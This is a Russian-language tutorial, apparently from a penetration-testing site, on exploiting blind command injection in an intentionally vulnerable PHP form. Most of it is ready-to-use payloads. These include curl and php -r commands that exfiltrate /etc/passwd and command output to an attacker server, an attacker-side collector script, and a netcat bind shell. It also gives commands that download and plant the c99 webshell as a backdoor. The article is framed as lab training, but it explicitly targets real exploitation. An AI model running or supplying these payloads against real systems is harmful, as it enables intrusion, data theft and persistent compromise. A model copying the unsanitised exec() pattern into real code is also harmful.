Эксплуатация уязвимости «слепое внедрение команд» (blind command injection)


Уязвимость «внедрение команд» (также называют «удалённое выполнение кода») позволяет выполнять команды на уровне операционной системы. Такие уязвимости могут быть найдены в веб-приложениях, роутерах. Подробное описание этой уязвимости и методы экспплуатации описаны в статье «Внедрение команд ОС: понятие, эксплуатация, автоматизированный поиск уязвимости». В той же статье упоминается уязвимость «слепое внедрение команд» (blind command injection) и показаны примеры её эксплуатации. Тем не менее, слепая уязвимость труднее для понимания и чуть труднее для эксплуатации — вместо того, чтобы вводить полезную нагрузку и наблюдать за результатами прямо в окне браузера или в консоли, нужно использовать сторонний веб-сервер. Поэтому в этой статье blind command injection рассмотрена более подробно, в частности дано несколько рецептов.

Тренировка в эксплуатации слепого внедрения команд

Для тренировки нам понадобятся:

  • машина с веб-сервером и уязвимым веб-приложением
  • веб-сервер атакующего — может быть вторая машина в локальной сети или ваш хостинг

На самом деле, при реальной эксплуатации можно обойтись без прямого IP, подробности описаны в статье «Как без белого IP локальный веб-сервер сделать доступным из Интернета».

Также рекомендуется начать с изучения «Внедрение команд ОС: понятие, эксплуатация, автоматизированный поиск уязвимости», поскольку вы уже должны знать основы эксплуатации этой уязвимости.

Роль уязвимого приложения будет выполнять следующий скрипт:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Отправка сообщения администратору</title>
    </head>
    <body>
        <p>Введите сообщение администратору сайта hackware.ru</p>
        <form>
            <input name="message" type="text" />
            <input type="submit">
        </form>
 
        <?php
        if (isset($_GET["message"])) {
        	exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');
        }
        ?>
    </body>
</html>

Сохраните его в файл с расширением .php. Я сохранил его в папке веб сервера vuln, поэтому у меня этот скрипт доступен по адресу http://localhost/vuln/.

Как можно увидеть, это просто форма для ввода строки.

В этом коде нас интересует строка:

exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');

Функция exec выполняет системную команду без вывода сообщения. В качестве системной команды используется echo, с помощью которой полученное сообщение сохраняется в файл /tmp/messages. Конечно, мы рассматриваем учебный случай, при котором не фильтруются никакие символы.

Итак, скрипт запускает системную команду вида:

echo СТРОКА >> /tmp/messages

Если в качестве СТРОКИ мы впишем «Привет, это проверка; sleep 10; #», то получится, что будет выполнено следующее:

echo Привет, это проверка; sleep 10; # >> /tmp/messages

В этой строке первой командой является

echo Привет, это проверка;

Затем следует наша полезная нагрузка

sleep 10;

Наконец, мы ставим знак # (решётки) чтобы последняя часть превратилась в комментарий и не вызывала ошибок:

# >> /tmp/messages

Как подтвердить уязвимость слепое внедрение команд

Поскольку никакие данные не выводятся, нам нужно найти косвенные способы подтвердить наличие уязвимости. Полезная нагрузки в виде команды sleep 10; является одним из таких способов — без этой команды новая страница загружается практически мгновенно, а с этой командой новая страница загружается только через 10 секунд — когда команда sleep завершит свою работу.

Кроме описанного способа на основе таймингов, можно инициировать исходящее подключения с уязвимой машины на веб сервер под управлением атакующего. Обычно исходящие соединения не запрещены правилами файерволов. Если удастся зафиксировать входящие подключение от атакуемой машины, значит уязвимость подтверждена.

На веб сервере или хостинге атакующего создайте файл c.php со следующим содержимым:

<?php

if (isset($_GET["b"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= base64_decode($_GET["b"]) . "\n". "\n";
	file_put_contents($file, $current);
}

if (isset($_GET["q"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= $_GET["q"] . "\n". "\n";
	file_put_contents($file, $current);
}

if (isset($_POST["q"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= $_POST["q"] . "\n". "\n";
	file_put_contents($file, $current);
}

Скрипт очень простой — он принимает значение параметра b или q, отправленных методом GET и POST. Значение обеих переменных сохраняется в файл messages.txt. Значение q сохраняется как есть, а строка из b предварительно декодируется из BASE64.

В качестве машины атакующего я буду использовать Kali Linux. Если вы тоже, то рекомендуется ознакомиться со статьёй «Азы работы с веб-сервером для пентестера». В этом дистрибутиве файлы веб-сервера хранятся в папке /var/www/html/. Поэтому я сохраняю содержимое приведённого выше скрипта в файл /var/www/html/c.php:


sudo mousepad /var/www/html/c.php

В этой же папке нужно создать файл messages.txt:

sudo touch /var/www/html/messages.txt

Поскольку файл принадлежит пользователю root, а скрипт c.php будет работать с правами веб-сервера, то нужно сделать этот файл доступным для записи всем:

sudo chmod 777 /var/www/html/messages.txt

Мониторить появление новых записей в этом файле можно следующей командой (новые записи в файле messages.txt будут выводиться в реальном времени по мере добавления):

tail -f /var/www/html/messages.txt

Запустим веб-сервер на Kali Linux:

sudo systemctl start apache2.service

В реальной ситуации для эксплуатации слепого внедрения команд нужно, чтобы у атакующего был белый IP, либо использовать любой хостинг с PHP. Я буду показывать на примере, когда оба компьютера уязвимый и атакующий находятся в локальной сети. Поэтому мне достаточно локального IP адреса. Посмотреть свой локальный IP адрес вы можете командой:

ip a

У Kali Linux в моём случае это 192.168.56.104, следовательно, скрипт для получения информации доступен по адресу 192.168.56.104/c.php

Проверим его работу, открыв в веб-браузере ссылку 192.168.56.104/c.php?q=проверка скрипта

В результате в файле messages.txt должна появится строка «проверка скрипта».

Мы можем в качестве полезной нагрузки использовать команду curl:

curl IP_АТАКУЮЩЕГО/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА

Для моего примера мне достаточно ввести следующее в окно ввода сообщения:

Привет, это проверка; curl 192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА; #

В результате команда curl запросит страницу с указанным адресом, а в файле messages.txt добавится «ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА».

Это подтвердит наличие уязвимости. Но проблема в том, что на уязвимом сервере может отсутствовать программа curl. Это не проблема — мы можем выполнить все действия средствами самого PHP.



Можно запустить команду вида:

php -r 'PHP КОД ДЛЯ ВЫПОЛНЕНИЯ'

В результате будет выполнен PHP код, подробности смотрите в статье «Как запустить PHP скрипт без веб-сервера».

Чтобы открыть веб-ссылку, можно использовать функцию file_get_contents, тогда моя полезная нагрузка будет такой:

php -r 'file_get_contents("http://192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА");'

А в поле ввода я вставлю:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?q=ЛЮБАЯ-УНИКАЛЬНАЯ-СТРОКА");'; #

Как скачать файлы с сервера при уязвимости слепое выполнение команд

Поскольку никакая информация не выводится, нам нужно использовать что-то более сложное, чем внедрение команды «cat ИМЯ-ФАЙЛА».

В качестве полезной нагрузки (основанной только на PHP) можно использовать следующее:

php -r 'file_get_contents("http://IP-АТАКУЮЩЕГО/c.php?b=" . base64_encode(file_get_contents("/ПУТЬ/ДО/ФАЙЛА")));'

В приведённой полезной нагрузке нужно указать свои значения для:

  • IP-АТАКУЮЩЕГО
  • /ПУТЬ/ДО/ФАЙЛА

Пример для моего случая:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'

Тогда в поле ввода сообщения администратору сайта HackWare.ru я ввожу:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'; #

В результате атакующий получит содержимое файла /etc/passwd

В этом примере данные передаются методом GET и являются частью URL, длина которой ограничена, то есть так можно передавать только небольшие файлы.

Другой вариант основан на cURL + POST. На сервере создайте файл uploader.php:

<?php
 
if (!empty ($_FILES)) {
    $uploaddir = '/srv/http/upload/'; # укажите папку для загрузки, в которую у сервера есть права записи!
    $uploadfile = $uploaddir . basename($_FILES['file']['name']);
 
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
        echo "OK.\n";
    } 
    else {
        echo "NOT OK!\n";
    }
}
 
else {
    echo 'I did not get POST!';
}

В качестве полезной нагрузки, запустите команду вида:

curl -F "file=@/путь/до/файла" СЕРВЕР/uploader.php

Обратите внимание на символ @ — он нужен для того, чтобы параметру file было присвоено не значение строки «/путь/до/файла», а содержимое того самого файла, который находится по пути /путь/до/файла.


Пример команды:

curl -F "file=@/etc/passwd" 192.168.56.104/uploader.php

Как посмотреть результат выполнения команды при слепом внедрении команд

Теперь, когда мы умеем копировать файлы с удалённого компьютера, результат выполнения любой команды достаточно скопировать в файл (директория /tmp всегда доступна для записи) и затем выгрузить этот файл себе.

Можно вовсе обойтись без создания промежуточного файла — сразу отправить данные атакующему.

В качестве полезной нагрузки (основанной только на PHP) можно использовать следующее:

php -r 'file_get_contents("http://IP-АТАКУЮЩЕГО/c.php?b=" . base64_encode(`КОМАНДА`));'

В приведённой полезной нагрузке нужно указать свои значения для:

  • IP-АТАКУЮЩЕГО
  • КОМАНДА

К примеру, я хочу выполнить команду «traceroute suip.biz», тогда полезная нагрузка выглядит так:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'

И в поле ввода сообщения администратору сайта HackWare.ru я ввожу:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'; #

Показанный выше способ ограничен объёмом данных, которые можно передать методом GET, но зато использует чистый PHP.

Если на удалённой машине есть cURL, то данные можно передавать методом POST, без каких либо ограничений. Для этого используйте полезную нагрузку вида:

curl -d "q=`КОМАНДА`" http://192.168.56.104/c.php

Например:

curl -d "q=`ls -l`" http://192.168.56.104/c.php

В поле ввода уязвимого «сайта» вводим:

Привет, это проверка; curl -d "q=`ls -l`" http://192.168.56.104/c.php; #

На самом деле, можно использовать и вариант чистый PHP + POST. Например, можно использовать встроенную в PHP команду cURL. Или отправлять данные в функции file_get_contents методом POST.

Сканер портов. Как посмотреть открытые порты

Вместо сканирования портов, попробуйте удалённо выполнить команду (более современная):

ss -tulpn

Либо более старую команду:

netstat -tulpn

О просмотре открытых портов, в том числе на Windows, смотрите статью «Как проверить открытые порты на своём компьютере. Что означают 0.0.0.0, :*, [::], 127.0.0.1. Как понять вывод NETSTAT».

Открытие нового шелла через слепое внедрение команд

С помощью netcat можно открыть шелл на уязвимой системе — если это удастся, то всё станет намного проще. Настоятельно рекомендуется изучить статью «Как пользоваться netcat (nc), ncat».

Пример полезной нагрурзки:

nc -l -e "/bin/bash" -p 43210

Строка для поля ввода на сайте:

Привет, это проверка; nc -l -e "/bin/bash" -p 43210; #

Теперь атакующий может подключиться к уязвимому серверу командой вида:

ncat IP-ЖЕРТВЫ 43210

Например:

ncat 192.168.56.1 43210

В открывшемся шелле можно выполнять любые команды Bash.

Вы можете закачать на сервер бэкдор, полезной нагрузкой вида:

wget -O /var/www/html/helper.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php

Или:

php -r 'file_put_contents("shell.php",file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"));'

Или бэкдоры для последующей эксплуатации:

Либо любой из Webshells.

Но проблема в том, что по умолчанию в Linux владельцем папок веб-сервера является пользователь root, а сайты работают от пользователя веб-сервер. У этого пользователя нет прав на запись в папки root, хотя он может читать многие файлы. То есть неприятность заключается в том, что можно закачать на сервер любые файлы, но их практически невозможно сохранить. Нужно найти папку с правами записи, но папка /tmp не подойдёт — нужна папка с правами записи внутри директорий веб-сервера.

Если сервер работает на Windows, то там обычно проще — администраторы серверов Windows не всегда заботятся о правах доступа к файлам и папкам.

Заключение

Итак, при эксплуатации слепой инъекции команд мы можем сделать довольно много. Помните, что кроме выполнения команд Bash и запуска утилит Linux, вы можете выполнять код PHP.

Обычно невозможно записать в директории веб-сервера, но всегда можно сохранить файлы в /tmp. Это может понадобиться для загрузки на сервер дополнительных инструментов, для поиска проблем с безопасностью и эксплуатации.

Рекомендуется изучить статьи «Сетевой pivoting: понятие, примеры, техники, инструменты», а также «Как скачать файл с сервера».


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *